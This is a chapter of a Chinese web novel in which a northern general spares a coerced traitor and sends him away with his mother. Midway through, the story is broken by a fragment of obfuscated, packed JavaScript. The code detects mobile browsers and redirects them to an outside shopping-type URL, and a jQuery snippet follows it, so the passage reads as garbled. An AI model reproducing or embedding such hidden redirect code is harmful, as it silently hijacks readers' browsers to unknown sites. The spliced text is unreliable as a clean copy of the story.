可听着他伏在地上说的那些话,她又恨不起来。 她也是从洛安来的。她知道那个地方有多脏,知道那些人的手段有多毒。 拿亲人威胁......这是少帝最擅长的事。 燕云徹终于开口。 “你娘在洛安哪里?” 张诚愣了愣,颤声道:“城西……城西柳条巷,第三家……” 燕云徹点点头,转身看向暗处:“周虎。” 周虎从阴影中走出来,脸色铁青。他看着跪在地上的张诚,眼里有恨,却也有说不清的复杂。 “带人去洛安,把他娘接出来。” 周虎愣了愣:“侯爷?这……” “接出来。”燕云徹的声音很平静,“接到北境来。” 张诚浑身一震,难以置信地抬头:“侯爷……” 燕云徹没有看他,只是继续对周虎道:“接出来之后,在镇上找个住处,安置好。再给他娘找个大夫看看......洛安那种地方,关久了的人,身子都好不了。” 周虎沉默片刻,拱手道:“是。” 张诚跪在地上,浑身颤抖,泪流满面。他想说什么,却什么都说不出来,只是不停地磕头,额头撞在地上,砰砰作响。 燕云徹终于低头看他。 “张诚。”他的声音很轻,“你跟了我八年,我知道你不是坏人。但这件事,你做了,就得承担后果。” 张诚抬起头,满脸是泪:“侯爷,我……我认。您杀了我,我绝无二话。” 燕云徹摇了摇头。 “我不杀你。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17217180|196195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 张诚愣住了。 “你这条命,八年前就是我救的。”燕云徹看着他,“我救你,不是让你给我当牛做马,是让你活着。你娘还在,你就得活着照顾她。” 他顿了顿,声音沉了下去。 “但是,你不能留在北境了。” 张诚的眼泪又涌了出来。 “侯爷……” “我会让人送你去江南。那边有燕家的老部将,会给你安排个差事。”燕云徹看着他,“从今以后,你不再是燕家军的人,也不再是我的副将。你只是一个普通人,带着你娘,好好过日子。” 张诚伏在地上,浑身颤抖,说不出话来。 明仪看着他,又看着燕云徹,心里忽然涌起一股说不清的情绪。 她见过太多杀伐决断,见过太多一怒之下取人性命。可燕云徹没有。 他恨这个人背叛了他,却还是给了他一条活路。 因为她曾说过......“你是个好主帅,你不把士兵当数字。” 他把这句话,记在了心里。 张诚被带下去了。 院中恢复了安静。 燕云徹站在原地,看着地上的那片阴影,久久不动。 明仪走过去,轻轻握住他的手。 他的手很凉。 “你做得对。”她轻声说。 燕云徹没有说话,只是反握住她的手,握得很紧。 良久,他开口,声音有些沙哑。 “我以为……我以为我的人,不会有人被收买。” 明仪看着他,心里忽然有些疼。 她想起他说的那些话......八年前从死人堆里把他扒出来,八年了,跟着他出生入死。 他以为这些情分,比什么都重。 可他还是输了。 输给洛安那些人的手段,输给“你娘在我手里”这六个字。 “不是你的错。”她说,“是那个地方太脏。” 燕云徹沉默着,只是握着她的手。 夜风吹过院中,带来草原上青草的气息。 远处,又传来牧民悠长的歌声。 明仪靠在他肩上,轻声道:“张诚的事,还有一个人要知道。” 燕云徹低头看她。 “那个指使他的人。”明仪的声音很平静,“少帝不会只收买一个张诚。他一定还安排了别人,也许是两个,也许是三个,也许更多。” 燕云徹的眼神沉了下去。 “张诚这条线断了,他们会知道。”明仪继续道,“但张诚不知道他们是谁,他们也不会因为张诚暴露就收手。他们会换人,换方法,继续做他们要做的事。” 她抬起头,看着燕云徹的眼睛。 “所以,我们不能停。” 燕云徹看着她,看了很久。 月光下,她的眼睛很亮,像是草原上最亮的星。 他忽然想起第一次见她的时候......那个雨夜,她俯身看着他,对身后的侍卫说“此人衣甲虽破,但制式是边军将领。北境将士保家卫国,不可不救”。 八年了。 她从来没变过。 他忽然伸手,轻轻把她揽进怀里。 明仪愣了一下,没有挣扎,只是把脸埋在他肩上。 “好。”他说,“我们不停。” 那夜,他们就这样站着,在月光下,在歌声里,在草原的风中。 远处,歌声还在继续。 那歌词她听懂了...... “……远方的客人啊,请你留下来……” 她闭上眼,笑了。 第二日,张诚和他的母亲,悄悄离开了北境。 没有人知道他们去了哪里,也没有人再提起过他的名字。 只是周虎回来后,脸色有些古怪。 他单独见了燕云徹,说了很久的话。 明仪后来问燕云徹,张诚的娘怎么样。 燕云徹沉默了一会儿,说:“被关了半年,身子垮了。周虎带人去的时候,她已经被折磨得不成人样。” 明仪沉默了。 燕云徹又道:“张诚跪着求我,说他愿意做任何事来赎罪。他说他可以反咬洛安一口,可以把他知道的所有事都说出来,可以让少帝知道他的人已经暴露了。” “你怎么说?” 燕云徹摇头:“我没答应。” 明仪看着他。 “他娘那个样子,活不了太久了。”燕云徹的声音很轻,“他唯一的念想,就是陪他娘走完最后一程。我不想让他连这个都没有。” 明仪没有说话,只是轻轻握住他的手。